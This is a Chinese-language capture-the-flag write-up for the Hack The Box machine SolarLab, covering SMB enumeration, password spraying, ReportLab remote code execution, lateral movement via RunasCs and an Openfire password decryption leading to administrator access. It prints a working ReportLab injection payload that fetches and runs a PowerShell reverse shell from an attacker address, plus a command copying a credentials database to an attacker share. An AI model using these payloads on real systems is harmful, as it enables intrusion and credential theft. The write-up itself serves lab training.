当前位置: 首页 > news >正文

HTB 靶机 SolarLab Write-up(Medium)

在这里插入图片描述

一、初步侦察与立足点获取

1.1 端口探测与服务识别

先进行端口探测,开放了 80、445、6791 等端口,其中 806791 都是 Web 服务,445 运行 smb 服务,是一台 Windows 服务器。其中 806791 分别重定向到 http://solarlab.htbhttp://report.solarlab.htb:6791,添加到 dns 解析。

sudo nmap 10.10.11.16 -p- --min-rate=5000 -A

1.2 SMB 服务枚举与凭证发现

先枚举 smb 服务,分别尝试空会话认证和匿名登录,其中匿名登录成功获取到了共享目录。

# 空会话认证
nxc smb 10.10.11.16 --shares
# 匿名登录
nxc smb 10.10.11.16 -u '.' -p '' --shares

共享目录中有一个 Documents 目录比较特别,将所有的可读文件都下载下来。

nxc smb 10.10.11.16 -u '.' -p '' -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10000000

打开下载的文件一一审查,发现其中一个 excel 表中存储有一些凭证信息,将这些凭证全都保存下来,分别存储为 users.txtpasswords.txt

Alexander.knight@gmail.com
KAlexander
Alexander.knight@gmail.com
blake.byte
AlexanderK
ClaudiaS
al;ksdhfewoiuh
dkjafblkjadsfgl
d398sadsknr390
ThisCanB3typedeasily1@
danenacia9234n
dadsfawe9dafkn

接着通过暴力破解 RID 枚举 Windows 用户,发现了 3 个本地用户,administratorblakeopenfire

nxc smb 10.10.11.16 -u '.' -p '' --rid-brute 10000

把这 3 个用户和上述密码进行喷洒,成功命中 blake:ThisCanB3typedeasily1@

nxc smb 10.10.11.16 -u local_users.txt -p passwords.txt --continue-on-success

1.3 Web 服务枚举 (solarlab.htb)

这台 Windows 没开启 rdp 和 winrm 等服务,没办法直接登录,先看 Web 服务的情况。简单浏览一下,发现 80 端口的是一个静态网站,其中有提到三个成员,能看到他们的开发 BLAKE BYTE 也是机器用户。

1.4 Web 服务枚举与登录 (report.solarlab.htb)

打开 6791 端口的网站是一个登录页面,尝试弱口令和 sql 注入未果。

使用 users.txtpasswords.txt 中的凭证进行登录框爆破,都没有成功,但是发现了返回信息泄露出存在的用户名,从结果来看,ClaudiaSAlexanderK 是存在的。

这两个用户名很明显就是 firstname 和 lastname 的结合,推测还有一个用户 BlakeB

BlakeB 添加到字典,成功爆破得到一组凭证 BlakeB:ThisCanB3typedeasily1@,blake 的密码其实还是和前面一样,只是用户名有变化。

1.5 利用 ReportLab RCE 获取初始访问权限 (blake)

登录网站,是一个提交审批的系统,其中有 4 个选项。

简单浏览了下,这 4 个都差不多,点开后都是一个富文本编辑器,提交信息并上传图片后会生成一个 PDF。

将 PDF 文件下载到本地,审计该文件的元数据,显示是用 ReportLab 创建的。

搜索该组件,存在 RCE 漏洞,无论如何,尝试利用一下。

根据漏洞描述,我们可以在生成 PDF 前插入 html 代码,并在其中植入命令,在 PDF 被生成时执行。

构造一个反弹 shell 的 payload,其中执行的 powershell 命令用 Windows 的 utf-16le 格式进行 base64 编码。

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADEANwAvAHIAZQB2AC4AcABzADEAJwApAA==') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit
</font></para>

其原本的命令如下,远程加载并执行 nishang 的反弹 shell 脚本。

IEX(New-Object Net.Webclient).DownloadString('http://10.10.14.17/rev.ps1')

将该 payload 植入富文本编辑器,提交输入。测试发现文本框有输入字符上限,选择在其他字段植入。

命令执行成功,获得一个 shell。查看用户权限属于 blake,且没有可用作提权的特权。

二、权限提升与横向移动

2.1 blake 用户权限下的信息搜集 (users.db)

知道有 Web 服务,尝试寻找其配置文件是必须要做的事情。很容易就在项目目录中发现了一个 users.db 文件,将其传输到 kali 上。

# kali
impacket-smbserver -smb2support test .
# 目标Windows
Copy-Item -Path "C:\Users\blake\Documents\app\instance\users.db" -Destination "\\10.10.14.17\test\users.db"

users.db 中找到 3 组凭证,也就是审批系统的 3 个账号,将另外两个密码加入 passwords.txt

2.2 密码喷洒获取 openfire 用户凭证

进行新的一次密码喷洒,成功命中 openfire:HotP!fireguard

nxc smb 10.10.11.16 -u local_users.txt -p passwords.txt --continue-on-success

2.3 横向移动至 openfire 用户

既然有了 openfire 的密码,我们就先拿到它的权限再说。将 RunasCs 上传到目标机器上,输入 openfire 的凭证,反弹拿到一个新的 shell。

.\runascs.exe openfire HotP!fireguard powershell.exe -r 10.10.14.17:53 --bypass-uac

三、最终提权至 Administrator

3.1 openfire 用户权限下的信息搜集 (Openfire 服务)

openfire 也没看到有能直接利用的特权,用户目录中也没找到有用的信息。接下来枚举端口监听情况,看到有 5985 的 winrm 服务开启,但之前 nmap 没扫描出来,可能是防火墙拦截的原因。此外有大量端口开启,都是来自同一个进程。

netstat -ano

查看该进程情况,属于用户 openfire,进程名叫 openfire-service.exe

tasklist /v /fi "PID eq 3156"

这个进程并不是 administrator 启动的,用户 openfire 的权限我们已经有了,似乎去利用它价值不大。无论如何,先搜索看看这是个什么东西。

一番搜索发现,openfire 原来是一个开源的服务器,是有 Web 界面的。

针对这个服务,有两点思路:

  1. 将端口转发到本地,访问该服务器,或许可以从 Web 界面中找到一些敏感信息。
  2. 直接找这个项目的源码,尝试在其配置文件中找到凭证。

3.2 分析 Openfire 服务配置与数据库脚本

第二种方式简单些,那就先尝试找源码,很轻松就在 Program Files 目录下找到了 openfire 的源码。

在项目中翻找一番找到了一个 openfire.script 文件,似乎是用来创建数据库的脚本,里面写了 admin 用户的密码,不过是加密的。

3.3 解密 Openfire 管理员密码

搜索有没有解密的办法,很顺利就在 github 上找到了一个项目,需要提供密码哈希和密钥,正好这个脚本文件中都写着有。

输入 hash 和密钥,成功解密出密码 ThisPasswordShouldDo!@

java -jar OpenFire-1.0-SNAPSHOT-jar-with-dependencies.jar

3.4 利用解密密码获取 Administrator 权限

试试这个密码是否是 administrator 的密码,尝试 psexec 登录目标主机。结果很显然,成功获得 system 权限。

impacket-psexec administrator:'ThisPasswordShouldDo!@'@10.10.11.16


相关文章:

  • 【免费数据】1980-2022年中国2384个站点的水质数据
  • ReviewHub:实现Booster与设计工具端无缝链接的评审协作平台
  • MySQL补充知识点学习
  • 聚沙成塔,三步成书:GitBook极简入门教程
  • 【操作系统】基础回顾(一)
  • OpenHarmony 5.0横竖屏界面适配
  • OD 算法题 B卷【排队游戏】
  • day19 leetcode-hot100-37(二叉树2)
  • dify中解决docx上传文件报错问题
  • NC28 最小覆盖子串【牛客网】
  • 雷卯针对易百纳 海思Hi3519AV100开发板防雷防静电方案
  • Attention Is All You Need:抛弃循环神经网络的时代来了!
  • QT开发技术【ffmpeg + QAudioOutput】音乐播放器
  • LangChain开发环境搭建
  • 常用的录音芯片型号有哪些?
  • ‌RF Choke(射频扼流圈)
  • 5.Promise,async,await概念(1)
  • nmcli connection常用命令及设置wifi为AP模式
  • 【Zephyr 系列 7】BLE 数据透传系统设计与实现:双向通信、缓冲区与状态同步全解析
  • MySQL 8.0 窗口函数全面解析与实例
  • 2017山亭区建设局网站/软文投稿平台有哪些
  • 网站建设费计入哪个科目/驾校推广网络营销方案
  • 建设网站需要注意什么问题/长春百度推广公司
  • 邢台做网站建设优化制作公司金信/厦门seo搜索排名
  • 简单的美食网站模板/怎么开网店新手入门
  • wordpress 当前页/企业seo顾问服务